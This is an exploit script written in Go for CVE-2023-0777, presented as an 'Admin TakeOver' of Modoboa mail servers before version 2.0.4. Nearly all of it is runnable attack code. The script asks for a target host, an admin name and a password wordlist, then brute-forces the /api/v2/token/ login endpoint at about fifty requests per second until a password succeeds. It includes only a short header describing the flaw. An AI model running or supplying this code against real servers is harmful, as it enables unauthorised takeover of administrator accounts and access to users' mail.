modoboa 2.0.4 - Admin TakeOver

/* # Exploit Title: modoboa  2.0.4 - Admin TakeOver 
# Description: Authentication Bypass by Primary Weakness 
# Date: 02/10/2023
# Software Link: https://github.com/modoboa/modoboa
# Version: modoboa/modoboa prior to 2.0.4
# Tested on: Arch Linux 
# Exploit Author: 7h3h4ckv157
# CVE: CVE-2023-0777 


*/

package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"time"
)

func main() {
	fmt.Println("\n\t*** ADMIN TAKEOVER ***\n")
	host := getInput("Enter the target host: ")
	username := getInput("Enter the Admin's Name: ")
	passwordFile := getInput("Provide the path for Password-Wordlist: ")


	passwords, err := readLines(passwordFile)
	if err != nil {
		fmt.Println("Error reading password file:", err)
		os.Exit(1)
	}

	for _, password := range passwords {
		data := fmt.Sprintf("-----------------------------25524418606542250161357131552\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n%s\r\n-----------------------------25524418606542250161357131552\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n%s\r\n-----------------------------25524418606542250161357131552--\r\n\r\n", username, password)

		headers := map[string]string{
			"Host":           host,
			"User-Agent":     "Anonymous",
			"Accept":         "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
			"Accept-Language": "en-US,en;q=0.5",
			"Accept-Encoding": "gzip, deflate",
			"Content-Type":   "multipart/form-data; boundary=---------------------------25524418606542250161357131552",
		}

		resp, err := postRequest(fmt.Sprintf("https://%s/api/v2/token/", host), headers, data)
		if err != nil {
			fmt.Println("Error sending request:", err)
			os.Exit(1)
		}

		if resp.StatusCode == 200 {
			fmt.Printf("\n\tValid password Found: %s\n", password)
			break
		} else {
			fmt.Printf("Invalid password: %s\n", password)
		}

		// Delay the next request to limit the requests per second
		delay := time.Duration(1000000000/50) * time.Nanosecond
		time.Sleep(delay)
	}
}

// Read the lines from a file and return them as a slice of strings
func readLines(filename string) ([]string, error) {
	content, err := ioutil.ReadFile(filename)
	if err != nil {
		return nil, err
	}
	return strings.Split(string(content), "\n"), nil
}

// Send a POST request with the given headers and data
func postRequest(url string, headers map[string]string, data string) (*http.Response, error) {
	req, err := http.NewRequest("POST", url, strings.NewReader(data))
	if err != nil {
		return nil, err
	}
	for key, value := range headers {
		req.Header.Set(key, value)
	}
	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		return nil, err
	}
	return resp, nil
}

// Get user input and return the trimmed value
func getInput(prompt string) string {
	fmt.Print(prompt)
	var input string
	fmt.Scanln(&input)
	return strings.TrimSpace(input)
}